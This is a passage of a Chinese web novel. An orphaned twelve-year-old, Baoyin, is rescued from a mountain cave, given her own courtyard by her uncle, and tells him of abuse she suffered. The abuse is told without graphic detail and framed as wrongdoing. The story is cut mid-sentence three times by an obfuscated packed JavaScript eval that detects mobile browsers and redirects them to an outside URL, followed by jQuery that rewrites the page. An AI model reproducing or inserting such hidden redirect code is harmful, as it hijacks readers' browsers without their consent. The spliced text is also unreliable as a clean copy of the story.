见宝音眸子泛起水光，阿四懒怠与她多说。将宝音她们带到山洞前，已是他最大的仁慈，他已经尽了自己的良心。无论宝音她们是死在山洞，还是被崔承戟救走，都与他再无干系。 阿四飞身钻入山林，很快消失得无影无踪。 贞杏握住宝音的手，出声宽慰：“大人连宋家的别院都能寻到，这里肯定也会找到的。榕参不是最擅追踪吗？我们再熬一熬，大人很快就来救我们了。” 贞杏望了望身后堆满白骨的山洞：“要不……我们下山吧？” 宝音拭去眼泪，咬牙摇头：“不行，先不说有没有山贼，万一遇到山下那两个人，我们便完了。” 她从地上拿过一支火把，往洞内照了照，火光之下，森森白骨泛出银光，白骨之间，散落锈蚀的铁链与铸模，有萤萤绿光闪耀其间。 贞杏两腿直抖，躲在宝音身后，颤声道：“小……小姐，怎么有绿光？怕不是、怕不是鬼吧？” “就、就是有鬼，”宝音也怕得不行，“也没有人可怕！” 她上前两步，不慎踩过一枚腿骨，直直摔在地上，腐朽味顷刻间直冲鼻腔。绿光就在眼前，宝音顾不得疼痛，双目睁圆，几枚铜钱幽幽躺在地上。宝音拾起铜钱，其上血迹斑斑已凝固干涸。 宝音凑前去看，缺了一角笔锋的“靖”字如毒蛇獠牙赫然出现，与郑伯约挂在腰间的、二叔查出的铜钱形制纹路完全相同。宝音忍住脚踝间的疼痛，忙跪在地上，一枚、两枚、三枚……经手所有腐蚀铜钱，皆是缺了笔锋的私钱！ “全是私钱！”宝音、贞杏齐声尖呼。 二人抬头，满洞白骨、锈绿铜钱静静四散在地，恍若魑魅魍魉将目光注在二人身上。 悚惧爬满身体。 7. 下山 她们没办法下山了。 宝音方才那一跤，左脚正磕在顽石与白骨上，此刻脚踝肿胀，稍稍一动，便可听见两骨摩擦的沙沙声。 贞杏急得哭出来，她不会正骨，阿四留下的草药是敷在破皮的伤口处止血的。除非崔承戟找到这个山洞来，否则宝音没办法下山。 “贞杏……”宝音坐在石头上，声音虚弱。 从昨天坠楼，再被关了一夜，到今晨逃出茅屋，再到方才的摔跤骨折，快一天一夜了，宝音只吃了一张饼，喝了半壶水。她饿极了，倦极了，也痛极了，仿佛从昨日下午开始的一切难受在刚刚之前，全部压抑在体内，到这会儿一齐爆发，所有的饿与倦与痛如潮水般涌进她的身体，将她淹没。 对于死亡，宝音终于有了一点点十二岁女娘对它的也许恰如其分的感受。在那么几个瞬间，宝音觉得自己只要一闭眼，就万事休矣。 贞杏扶住她，泪滴子坠入宝音乱蓬蓬的鬓间，跟脱了线的珠玉似的。她说些“都怪我不曾护好小姐”的话，好像时间若能倒流，宝音就不必受这些苦似的。 宝音长长呼出一口气：“我还以为我要过上好日子了呢。” 一闭眼，七年前崔承戟从地窖中将她抱出来的情景，以及那夜崔承戟抱她离开别院的情景霎时浮在眼前，逐渐重叠。她以为自己终于苦尽甘来，她以为她要跟随崔承戟去京都崔家，她以为自己终于要过上好日子了。她努力地讨好崔承戟，乖巧、温顺，就差那么一点点，宝音就能摆脱命运不吝赐予的苦难了。 她不怪谁，不怪崔承戟、也不怪贞杏，是她自己命不好。她人生的每一步，都踩在荆棘之上。不论是踏在阿耶尸体上的蛮军，还是宋家这些欺侮她惯了的所谓亲眷，如果少遇见一个，她的日子也许会好一些吧？ 宝音悲哀地想，除了二叔和贞杏他们，为什么她遇见的每一个人，几乎都是怀揣着恶意而来的？ 宝音是被一阵窸窸窣窣的动静吵醒的。 燃在山洞的篝火已然熄灭，隐隐约约有几粒火星子闪烁其间。残阳西斜，仅一抹暖黄的微光穿透密密匝匝的树叶，不偏不倚落在胸前染血凋零的宝相花纹上。 阿四单膝跪在宝音脚前，从腰篓里翻找出一瓶药油。 宝音忙缩回脚：“你、你……”她看见阿四腰间坠着贞杏戴的那支镶璎珞梅花纹银簪，忙问：“贞杏呢？” 阿四的手隔着袜套和绣花鞋轻轻覆上左脚肿胀之处：“这里？” 宝音反问：“贞杏呢？你把她怎么了！” “她没事。” 阿四将药油丢在宝音怀中，背过身去：“涂好把鞋袜穿上。” 身后是一阵轻微的响动。阿四错开眼，去望即将被山坳吞没的如血残阳：“你的那个丫鬟自己下山了，她说要去找崔承戟来救你。” “她会有危险吗？” “不知道。她走的那条道上，有追你们的人，也有山贼。” 宝音急道：“你可不可以帮帮她？” “呵。”阿四的声音里掺着落寞，“你们主仆真有意思，她让我来救你，你让我去帮她。” 宝音无话了。 如果贞杏在路上受了危险，她大概会自责一辈子。 身后没有动静，阿四转身，只见宝音手中攥紧药油瓶子，咬牙坐在那儿，眼泪啪嗒啪嗒滴在药油瓶子上。 阿四不知说什么，愣愣看着她眼中的泪越来越多，近乎模糊了那一对葡萄似的水晶眸子。 “我总是个累赘！”宝音哭出声。 “你……”阿四哑住。 宝音微垂螓首，结了血痂的脸上因泪又染成淋漓的粉红，她两只手绞着药油瓶子：“要不是我，二叔不会中毒受伤，不会跟宋家有任何瓜葛，他现在也许快查完靖州的案子，要回京都了。是我拖累了他！” “要不是我，贞杏或许会在大宅院里做个女使，再怎么样都比跟着我困在这里，被人像狗一样捆了一晚上强！” 宝音抬起满是泪的滴水眸子望向阿四：“要不是我，你就不必骗阿大，不必来这救我了。你现在该回家，和家人一起用晚膳，而不是涉险回到这个全是白骨的山洞里！” “我算什么崔家女！”宝音哭道，“不过是条吸血的蚂蟥！” 阿四觉得喉咙间像堵了块烧得通红的热痰，他不知怎样安慰宝音，甚至到此刻，他还不知眼前女孩的名姓。 他是生活在黑暗里的人。 因此，当偶遇贞杏、她拜托他来救宝音的时候，他是很开心的。他还被人需要，他于这不公世间，还有那么一丁点用处。他的这么一丁点用处，也许会影响一位女娘的一辈子，阿四很满足。 因此，当宝音说出这句话时，阿四突然有了一种异样的、与从前所有灰暗岁月皆不相同的感觉，他不仅被人需要，甚至有人为他着想，甚至有人对他愧疚。 千树万树梨花开①，他朦朦胧胧地想起了这么一句话。在阿四的黯淡世界里，宝音的一句话让此处开满纯白皎洁的梨花。 阿四跪在宝音面前，一字一顿：“蚂蟥活不过寒冬，但你能。” 他尽力抑制住内心涌动的情绪，将手轻轻覆在她肿胀的伤处，敛眸：“我没有家，阿耶阿娘都死了。” 他觉得把自己的惨说出来，也许会让宝音好受一点。 “是在这里吗？”他指着宝音的脚踝。 宝音愣愣地点头：“我也是。” 阿四怔然抬头，他早该想到的，宝音一直在等二叔救她。倘若她父母尚在，为何要跟着二叔呢？ 倘若父母尚在，他又何必跟着阿大过朝不保夕的生活呢？目光交汇之间，宝音的泪珠从阿四的眼角缓缓流下。 “我很想阿耶，也很想阿娘。”宝音噙泪道。 阿四迅速别开脸，抹掉眼角泪珠，这次换做他说“我也是”了。 “你想下山吗？” 宝音点点头，又迅速摇头：“不行，我得在这里，万一二叔和贞杏回来见不到我……”她望向洞内四散的铜钱：“还有这些，我得告诉二叔。” 阿四道：“你把这些带上，我送你下山去找你二叔。”他说得坚定。 阿四虽替宝音正骨，治好脚伤，但她还是不能下山，仅能在平地上一瘸一拐地走路。 宝音望了望见不到底的山脚，一个人下山已是危险，何况还要带着她这个拖油瓶？宝音攥着裙角踌躇道：“你先回去吧。贞杏一定会带着二叔找到我的，我等他们。” 阿四正在收拾背篓，清理人迹，闻言抬头：“到夜晚时，山上气温骤降，更何况此间山洞本就阴凉。哪怕有火堆，也很少有人能扛过去。”他望了望天色：“约莫不到半个时辰太阳就落山了，你二叔能在半个时辰之内寻到你吗？” 宝音的心死了又死。 她双手垂在身侧，很抱歉地说：“那，麻烦你了。” 阿四背着宝音，宝音举着火把，在林间慢行。有时窜出几只不知名的虫蝶小兽，把宝音吓得尖叫出声，阿四则冷言：“引来山贼，我就不管你了。” 宝音忙捂住嘴，差点朝后仰下去。 阿四握紧她的腿：“抓紧了。” 宝音依言攥紧他的衣袖，轻轻一扯，那脖颈间的蛇状疤痕猝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279625|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然映入眼帘，再一细看，才发现阿四身上有许多大大小小的疤，像经年的旧书案，早没有当日的莹润光滑、纹理细密，只剩下一条又一条不知何年何月留下的刻痕。 大约是察觉到了宝音的打量，阿四眸光黯了几分，不动声色地将领口扯回去，正好遮住身上零散的疤。 “你叫什么？”宝音轻声开口。 “阿四。” “我知道。姓呢？你出生时，你阿耶阿娘就给你取名阿四吗？” “不知道。我跟着师傅长大。” “阿大是你的师傅？” “不，师傅死了。”阿四顿了顿，“死在那位探花郎的手里。” 宝音知道这是他的伤心事，抿唇转了话头：“我叫宝音，崔宝音，出自阿耶的诗。” “什么诗？” “宝光凝户动星辰，林下清音鹤影新。一枕松风花满径，人间岁岁是芳春。” 人间岁岁是芳春。宝音目光落在黑无边际的林间，她想到阿耶站在城墙上自刎的那一瞬，可还记得当初吟咏这句诗时的心境？ 阿四没读过书，更不认得字，说不出这诗的好赖。只是听宝音念起这几句诗时掩不住的欢欣，仿佛自己也身临其境，脱口而出：“好诗。” 宝音抽了抽鼻子，强笑：“现在你知道我的名字是哪两个字了吧。” 阿四仰头：“我不认得字。” 沉默漫上来，耳畔只剩下衣袖拂拭草木的沙沙声，回忆各自在他们身体里找到一条缝隙，顽强地破土而出。宝音想起从前阿耶教自己背《诗经》，想起阿娘教自己识字的日子，阿四则想到师傅尚在人世时，对他许下的承诺：“阿四，等你到了开蒙的年纪，师傅便送你去书塾念书。你会同别人一样，有自己的名字，然后读书、科举、入仕、成家……” 这像是上辈子的事了。 于阿四如是，于宝音亦如是。 到达山脚时，天已完全黑了。阿四背着宝音，汗水浸透他的粗麻布衣衫，流过脸颊上刚刚被树枝划破的伤口时，勾起一阵苦涩的痛，像在伤口上撒了把粗盐。 宝音忙从他背上下来。 几颗星子挂在遥远的夜幕上，那点微光几乎可以忽略不见。唯一清晰的，是彼此在夜色中晶莹剔透的眸子。 深黑色的地平线处吐出一团暖黄色的光点，紧接着扬鞭策马之声，有人驰马过来。 宝音吓得要躲，阿四抓住她的腕子留住她，旋即又松开，他错开眼：“是你二叔。” “你怎么知道？” 阿四没有回答这个问题，而是从腰篓里取出那一串腐蚀的私铸铜钱，塞进宝音怀中：“你是自己下山的。” 宝音疑惑抬眸。 “我是偷跑出来的，除了阿大，不能让任何人知道。”他顿了顿，补充道，“如果不是你二叔，我会来救你的。不过，一定是他。” 他像说给自己听似的：“一定得是他。” 说罢，阿四又一次遁入黑暗虚无。 宝音愣在原处，再反应过来时，那团暖黄色的光点距离她已经很近了。 “宝音！” 崔承戟伏身马背，单手持缰绳，将榕参等人遥遥甩在身后。 马蹄扬起一阵尘土，崔承戟翻身跳下马鞍。 宝音伸手挡住扑向眼睛的灰尘，口中刚嗫嚅出“二叔”两个字，却一下子撞进崔承戟的怀中。 她听见了崔承戟如鼓点般的心跳，和头顶急切的声音。 “对不起，二叔来迟了。” ①千树万树梨花开：自唐代诗人岑参的《白雪歌送武判官归京》。 8. 分开 宝音坐在马背上，脊背紧贴崔承戟的胸膛，每一次颠簸都恰好撞上他腰腹间的银带扣。 初春的夜风刮在脸上仍有些刺骨，崔承戟一手握缰绳，一手搂住她，像生怕她再不见似的，紧紧箍住宝音的腰。 晚风从耳畔猎猎吹过，宝音只需稍稍一侧脸，便可见斜上方二叔冒了青茬的下巴和微微猩红的眸子，他脖颈上未擦净的血渍随喉结滚动，恰与宝音脸上的血痕暗合。 马背颠簸，但二叔怀里足够温暖，足够安全，足够她免去对未来不可预的担忧。宝音的嘴角微微上翘。 二叔又救了她。 不，还有贞杏，还有阿四。 他们是除了阿耶阿娘之外，宝音的这十二年里遇见的，为数不多的真心待她好的人。 弥漫着铁锈味的披风裹住她，獬豸兽目处的金线已磨得发白，带着点劫后余生的欣悦，宝音在一颠一颠的节律中钻入梦乡。 “二叔……” 崔承戟轻轻靠过去，只听见宝音在梦中嗫嚅着唤他“二叔”，还有什么“救我”的话。握着缰绳的手顷刻攥紧，骨节隐隐泛白，他暗暗咬唇，又想到午后郑家的肆无忌惮。 郑浴干私铸银锭的勾当已有十余年，其身后除郑昭仪之外，户部、御史台、北衙禁军皆在保他。在崔承戟之前，已有三四批钦差大臣来靖州查案，结局总是高高举起轻轻放下，这些人如今亦是朝廷栋梁，自不愿崔承戟此番查出纰漏，牵连了他们的仕途。 各方阻碍刁难，故此崔承戟今番来靖州查案，非但进展缓慢，还差点把宝音折进去。他与郑浴周旋久，郑浴总能滴水不漏地将话圆回去，像提前预料到他会如何说、会如何做似的。 唯一的破绽，就是郑伯约。 初出茅庐的小子，少年心性根本藏不住。差那么一点点的时候，郑浴唤出自己的次子在旁伺候，摆出舍弃长子、将一切过错推到长子身上的架势，暗暗给崔承戟施压。 虎毒不食子，崔承戟才发现，从前自己倒是小瞧了这个看似中庸的郑浴。 “只待崔大人把靖州这次的案子办好了，想必宝音也回来了。”郑浴轻轻抿了口酒，含笑同他说，“那真是双喜临门。” 好在他早派了榕参继续追踪，好在贞杏跑了出来，好在一切还来得及。 崔承戟在宝音耳畔轻声道：“对不住，二叔来迟了。” 满脸血痕的姑娘似乎听懂了他的话，朝他怀里又钻了钻。带血的羽睫微微颤动，宝音习惯地将身子蜷起来，华服上早已干涸的血渍瞬间灼痛他的眼，郑浴最后那句“这是郑家送给崔大人的见面礼”在他耳畔炸响。 他得离宝音远一些。崔承戟如是想。 他不能让宝音再成为政治博弈的筹码，他不能让宝音再经历这些苦难。宝音该同京都城里所有待嫁的女娘一样，平安顺遂、欢欢喜喜地长大，她该学琴棋书画，该在闲暇时插花品茗抚琴，该在最美好的年华遇见良人，生一对聪慧可爱的孩子，代替阿兄阿嫂蓬蓬勃勃地活下去，而不是像现在这样——被人绑了去，当作要挟他的人质。 也许离她远一些，才能更好地保护她，庇佑她成长。 崔承戟仰头望天，黑缎般的夜幕空空荡荡，却给予他最振聋发聩的回答。 * 他们没有回如意客栈，而是入了靖州城仁义坊的一条巷子，崔承戟的黑马停在紧闭的朱门前。 他轻轻捏了下宝音的手背，温声唤道：“宝音，该醒了。” 那厢停滞几息，才听见宝音闷闷地嗯声。方才在二叔怀里的好眠，让小姑娘迷迷瞪瞪睁不开眼，崔承戟又捏下她的手背：“这是你的小院子，你不看看吗？” 像听见什么新鲜事似的，宝音猛然睁开双眼，抬眸是三个漆金大字： 雀音阁。 宝音喃喃：“雀、音、阁。”她仰头望匾额。 “正好应你的名字。”他低头望她。 崔承戟将宝音抱下马，牵她入内。 院子不大，影壁正对着正屋，正屋两侧各有一间小耳房；天井内一株花树，尚未到花期，还不知是什么品种，如今只有葱葱郁郁的一片叶子，恰似一蓬碧油油的云；天井左右两边分别是西厢房与东厢房。宝音欣喜地四处打量，从前在宋家时，她住的院子比雀音阁小多了，厢房只比雀音阁的耳房大不了多少，一间用来堆宋家的杂物，一间给曹嬷嬷住，采光也不好，常年都凉浸浸的，害她冬日手指耳垂生满冻疮。 宝音双眼晶亮，连脚步也轻快许多，她拉着崔承戟的手，行到西厢房前，笑得眉眼弯弯：“这间屋子是给宝音住的吗？” 宝音记得，宋敏珠就住在二舅院子的西厢房内，她亲口同宝音炫耀过：“早晨阳光第一个照到的屋子就是西厢房。自古以来，父母俱在的家庭里，总是父母住正房，长子长女住西厢。” 仅一句话便暗藏了宝音渴望的两样东西：早晨阳光第一个照到的屋子，父母俱在。 她又指正屋，仰头同崔承戟笑：“二叔住正房，是也不是？” 崔承戟难得心软，捏捏宝音的脸颊：“不，你住正房。” 宝音秀眉微蹙：“那二叔呢？” 崔承戟笑开：“这整个院子，都是你的。” 宝音愣了一息，方慢慢咀嚼出二叔这句话的意思：她一个人住雀音阁，没有二叔。 洋溢的笑靥陡然枯萎，宝音双目渐渐失去方才的光彩，她喃喃地重复：“都是我的……” 猝然仰头：“只有我吗？没有二叔？”她希冀崔承戟反驳自己。 崔承戟拉着她的手往正屋走：“还有贞杏。从明日起，榕度会调来保护你，也有他。” “那二叔呢？”宝音从他凝着血斑的手掌中抽出来。 崔承戟顿住脚步，回首望她：“与雀音阁毗邻的院子，叫一品堂，就在隔壁。宝音，两间院子仅隔一条三尺宽的甬道，有什么事，你差榕度来知会一声，我很快就能来。” 他望着宝音蹙起的两弯细眉，望着宝音胸膛起伏急速喘气，她仿佛受了天大的委屈，生了天大的气。崔承戟不明所以：“怎么了？你不喜欢这里？” “为什么要跟二叔分开？”宝音指甲几乎嵌进肉里。 崔承戟蓦然笑开：“我就在隔壁的一品堂。” 他补充道：“很近。” 可宝音执拗地以为，这便算是分开了。自从她被二叔救回来，她也只是住在二叔隔壁的房间，可如今，二叔给她另外安排了一座院落。哪怕这座院落宝音很合心意，哪怕这是她自己的第一座小院子，哪怕院名暗合了她的名字，可是，这一切一切的好都敌不过二叔把她往外推的坏。 她知道自己再说些什么是无益的，她也知道二叔这样做必然是出于好心，是为了她着想。然而，她就是不愿与二叔分开，她就是希望每天清晨一睁眼，就能看到二叔。 七年前的地窖，是第一次。 几日前的宋家别院，是第二次。 今夜的青邙山下，是第三次。 宝音习惯了每次遇见苦难后，她卧在二叔温暖宽厚的臂弯里离开是非之地。 她的心愿很小，只要每天能看见二叔就行。 宝音尽力地在心中告诫自己：“没关系，只是住在雀音阁，我还可以每天跑去一品堂见二叔。”等她终于收拾好心情，重新扬起大大的笑靥，却听见二叔在吩咐榕度： “自明日起，你调来雀音阁，进出雀音阁的所有名单都需要我过目。宝音要出门，也得提前通禀。” 崔承戟转头同宝音道：“宝音，从明日开始，你安心在雀音阁养伤，无事不要出门。” 好不容易绽开的笑再次僵住，宝音期期艾艾地问：“那去一品堂见二叔呢？” “这几日需忙私银的案子，恐怕不常待在一品堂。”想起此番宝音失踪的凶险，崔承戟又一次叮嘱，“记住，平日千万不要出门。倘若出门，事先派人告知与我，榕度他们也会寸步不离地保护你。” 宝音垂头，无力地点点头：“嗯。” 崔承戟早看出她的不愿，他故意忽略掉宝音的情绪，抿唇：“待会儿郎中会过来。” “二叔先陪我一日吧！”宝音低着头，鼓起勇气，“从前不曾一个人拥有过这么大、这么好的院子，我怕晚上醒来睁开眼，一切都是假的。二叔在旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279626|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，似乎才真切些。” 崔承戟刚想拒绝。 “贞杏也受伤了，也需要修养，很多事我自己做不来。”她忙掏出方才藏在怀里的铜钱串，“还有，这是我和贞杏在青邙山山洞里发现的私钱，二叔不想听听吗？” 她拧着细眉，贝齿咬住下唇，眸中蕴了一颗泪珠，像易碎的琉璃，倘若他出声拒绝，她便会顷刻间消散似的。 崔承戟喉结滚动，攥紧的双拳终究松开，垂在身侧，声音暗哑：“……好。” 宝音长长舒口气，她试探上前，将手塞进二叔的大掌内，牵崔承戟步入正房：“二叔带我逛逛正房吧。” 屋内，铜制博山炉里捧出一团淡乳色云气，袅袅如龙。 安神助眠的沉香扑上鼻尖，踩在金丝海棠纹地毯的双脚也不觉松软了几分。 水红的帘幔后又是一屏泛着莹润光泽的珠帘，挑起珠帘，才见一整套红木缠枝云纹拔步床，配着低矮的脚踏。锦衾铺展，缎面绣的四季花卉盈盈开满整张床，直蔓延至床沿。床沿上搭一套蜜合色银线暗纹睡袍，床下睡一双绯色绣蝴蝶软鞋。 宝音看得呆了，莫论宋敏珠的卧房，过去的十二年间，宝音从没见过这样合心意、这样完美的卧房。 崔承戟低头，见宝音黏着血渍的鬓发和细窄的肩膀，轻轻笑开：“适才让榕参烧了水，在东耳房。以后沐浴等事，全在东耳房，不必把卧房里也搅得满地水了。” “要贞杏过来伺候吗？” 宝音点头，又迅速回转身来：“那二叔呢？” 崔承戟好整以暇地坐在圈椅内。 “坐在这，等宝音姑娘沐浴回来。”他扬了扬方才从宝音手中接过的铜钱串，“等宝音同二叔讲这些私钱的事。” 宝音这才慢慢笑开，换了鞋，欢欢喜喜地将睡袍抱在怀中，小步跑去东耳房：“二叔等我！” 崔承戟未应，目光从铜钱串上移开，转而打量起四周。 这两座院子是三年前他初入仕途时购置的。那会儿他刚从户部领了第一个月的月俸，便派榕参驰马赶赴靖州，精挑细选地买下这两座院子。 当时，他以为宝音未来也许会嫁给靖州的世家，便自作主张地买下这些地产，算作她以后的资妆。一个月后，他用平生第一个大案换来圣上的亲笔御字，敕造匾额“雀音阁”从京都遥遥运来，稳稳当当挂在朱门之上。 后来，他救宝音于水火，也断了宝音再留在靖州的心思。本想将雀音阁与一品堂变卖出去，彻底与靖州切割，没想到又出了宝音失踪的事，他只能暂时将人安置此地。 积年的灰尘在今日下午第一次被扫去，这极合少女心意的陈设他还是头一遭见。没想到榕参那样不懂女人心的暗卫，还能布置出这样小女儿家的闺房。 指腹抚过黄花梨雕花妆台，妆奁内已填满时新紧俏的金玉首饰和胭脂水粉。 养一个女孩儿长大。崔承戟终于对此有了一点实感。 他忽然发现自己衣袖手背也凝着血斑，想来不是宝音的，便是今早王蟠的。 虽说崔承戟已习惯刀尖舔血的日子，可宝音不该卷入这些是非，更不该让她知晓血的含义。 他将铜钱串搁在妆台上，唤来榕参：“备水。”返身回了一品堂。 沐浴完，宝音小心翼翼换上簇新睡袍，忍不住摸了一把好料子，那梦中的好日子又在冲她招手。如云墨发湿漉漉的尚未绞干，只用块布巾包着，宝音便急匆匆赶回正房。 回来时屋中无人，只剩下她交给二叔的铜钱串静静躺在妆台上。宝音起初还以为是二叔故意躲起来，她连唤两声，房中皆不见二叔踪迹。 她忙跑到门口：“榕度，二叔呢？” 榕度从门房里探出头：“大人方才领着榕参急匆匆出门了。”他略一思考：“想必是案子有进展了吧。” 宝音觉得脑子里嗡嗡地响，也听不清榕度的话了。回房时，那串铜钱明晃晃地搁在那儿，瞬间灼痛她的眼，是从铜钱串上得了线索么？宝音落寞地走回拔步床床边，蹬掉新鞋，整个人陷进锦被里。 “不是说好等我么……” “二叔……” 9. 印章 被面上的四季花卉盈盈泛着水汽，也许是宝音湿答答的头发洇的，也许是她的眼泪浸的。 总之，刚沐浴完毕、换了套干净寝衣的崔承戟回来时，便看到把头埋在锦被里小声呜咽的宝音，她两肩耸动，掐出两个小小的肩窝，恐怕各能盛一抔花瓣。 “怎么了？”崔承戟快步上前，语气不由带了几分急切。 到了人跟前，脚步反倒轻缓下来，他坐在床沿，绵软厚实的被子瞬间凹了个浅坑。 宝音不管不顾，趴到他膝头，鼻涕眼泪糊了他的寝衣，自己却呜呜咽咽地抽泣：“你说你等我回来的，你说你等我的！” “我……”崔承戟立时笑开。 原来是为了这事啊。 他捞起堆在一旁的布巾，包住宝音的头发，温声：“白日里溅了尘土在身上，便想着趁宝音沐浴，我也一同洗好罢了。” “没有丢下你，”他耐心地哄，“这不是回来了？” 怀里人一动不动，崔承戟轻轻捏她手背：“对不住，二叔知错了。” 宝音抹了眼泪抬头，见二叔眼里盛满笑意望着自己，自己反倒不好意思起来，扭了身子背对二叔。 崔承戟却敛了笑，佯作肃声：“倒是宝音，头发也不擦干，还趴在床上哭，夜里着凉头痛怎么办？” 宝音才想起来自己还留着一头湿到能滴水珠的头发，要去摸布巾，却被二叔扣住肩膀，背对着他：“坐好。” 宝音依言端坐，任崔承戟小心翼翼勾起一绺绺头发，细心用布巾包住、拭干。 他声音低沉：“明日在雀音阁好好休息，后日带你出去。” “去哪？” “还没想好。” “跟二叔一起吗？” “是。”他敛眸，“宝音，接下来一品堂会进进出出很多人，靖州会发生很多事，你要把雀音阁的门扉关死了，明白吗？” 宝音懵懂地点头：“跟郑家和王家有关系，是吗？” “也许还有邬刺史。”他忽然想起早间刑讯王蟠及其外室的情景，不由问，“宝音，那个王蟠……” “别说他。”宝音急急截断他的话。 替人擦拭头发的指尖顿住，烛光闪烁，在崔承戟喜怒不定的脸上明明灭灭，他知道自己触到宝音不愿提及的心事，可身为叔父的责任让他不得不剖开这件事的本原：“他欺负过你？” 眼前人良久地没有动静，崔承戟倾身靠近，却见这小人儿的浓密睫毛夹出一颗豆大的泪珠，随着发间水滴一齐落下。 他不怒反笑，像阴雨夜藏在角落的那一声诡谲猫叫。 宝音不知道，这是崔承戟气极了的反应。 囚在大理寺诏狱的罪犯，不怕崔承戟冷脸，只怕他笑。京都人皆知，只要崔承戟一笑，必定要出人命的。 宝音点点头，又迅速摇头：“他们说，王蟠不是欺负我，他是太喜欢我了。” “喜、欢？”崔承戟冷笑。 宝音咬唇，决心把自己战战兢兢存放在心底最深处那只雕花匣子里的秘密捧给二叔。她转过身，面对崔承戟，小心翼翼地伸出手，穿越崔承戟的玄色暗纹寝衣，穿越崔承戟震颤的瞳仁，穿到那晚大舅热闹欢乐的生辰宴上，掌心轻轻贴上二叔微凉的腰腹，宝音鼻尖一酸：“二叔，王蟠对我这样，他就这样把手伸进我衣服里，这算不算欺负我？他们说是王蟠太喜欢我，是他同我闹着玩，可是我觉得不是，我不喜欢他碰我。他们还在大舅生辰宴上当着那么多人的面，说‘宝音以后就嫁给王蟠算了’。” 就、嫁、给、王、蟠、算、了。 像给猫儿狗儿配种似的，把一个才十二岁的、孤苦无依的女娘的终身大事就这么草率定了。 他脸色愈冷，此刻仿佛淬了冰。 宝音又握住他的手，小小撩开衣服的一角。 略带薄茧的手指并未触到小女娘娇嫩白腻的肌肤，相反，是一块比他的手更粗糙的略有耳朵大的疤。 宝音哽咽道：“他要摸这里，他说这是他的印章。” 无数惊雷在崔承戟耳畔炸响。 他拼命压抑住内心怒气，强忍着轻声问：“这个疤，怎么弄的？” 这是宝音最、最、最不愿提及的事了。 在那次意外里，受伤的只有她，别人却获得无尽的快乐。 她说得断断续续：“去年中秋，我们在二舅母屋里作团圆宴。夜深了，他们喝了酒，王蟠也跟着他们喝了不少，醉醺醺的，拉着我不肯我回去，让我陪他玩。我不依，想躲开，他就举着油灯在身后追我。二舅母他们就笑，说王蟠追媳妇，没有一个人来帮我。后来王蟠追烦了，骂了我几句，跟着他的老妈妈怕他把气撒到奴才们身上，就故意绊我脚。我跌在地上，王蟠没注意，也跌在地上，他手上的油灯就倒在我身上了。没有着火，就是热油烧破我的衣服，在那儿燎了几个大水泡。” “他们觉得没事，曹嬷嬷也觉得没事，她说过几日就好了。可我好疼，我只能自己给自己上药，”言及此处，宝音扭头去看她腰窝处的疤，“可是我看不见伤在哪里，涂药时手也不太够得到，这个疤就留下来了。有一次偷偷涂药，被曹嬷嬷看见了，她跟二舅母都笑，说我臭美。后来王蟠也知道了。” 她的声音愈来愈小：“从那之后，他总是跟别人说，这是他刻在我身上的印章……” 到最后的时候，崔承戟已近乎听不清宝音的话了，他只觉脑海里嗡嗡作响，乱蓬蓬、闹哄哄地没完没了。王蟠那厮又浮在眼前，他唇线绷直，两拳攥紧，连额角青筋也微微凸起，脸色阴沉，像山雨欲来之前的沉云劲风。 “二叔，”宝音强笑道，“我都快把它忘了。” 拙劣的撒谎，连宝音自己都不信。崔承戟抬眸，晦暗不明地盯住宝音，良久，垂下脸：“对不起，宝音，二叔来得这么迟。” 妆台的菱花镜上，倒映出二人重叠身姿，崔承戟的手影箍住宝音腰肢，额头像抵在她的肩膀处。 门外传来榕参的声音：“少卿大人，宝音小姐，苏郎中到了。” 苏郎中年交五旬，清癯消瘦，颇有仙风道骨之姿。 崔承戟解了拔步床的金钩，放下帐幔，让宝音坐在帐幔之后。 他上前一步，抿唇作揖：“劳烦苏老先生了。” 他面色不甚好看，这一记礼之后，不待苏郎中还礼，崔承戟已挺直脊背，高声唤来榕度和贞杏，沉脸吩咐：“你二人在这厢伺候。” 水红绣彩蝶的帐幔后，宝音怯声问：“二叔要走了吗？” “少顷便回。”他硬声道。 显见得是动了大怒。 榕度和贞杏立在墙跟，连头都不敢抬。 崔承戟走时带起一阵风，卷起帘幔，彩蝶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279627|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纷飞，堪堪露出宝音的半张脸。 苏郎中坐在脚踏的绣墩上，隔着锦帕细心把脉，顺道问些这几日的病症情况，才开了药方交予贞杏。 宝音的伤不致命，但需要耐心地、长久地将养着，而况这些年她在宋家落了亏空，身子骨虚得很。 苏郎中捻着花白胡须，对药方斟酌道：“老夫再开一张药浴方子，小姐隔日泡一次，对身体康复好一些。” “若是可以，日常用些药膳，也是极好的。” 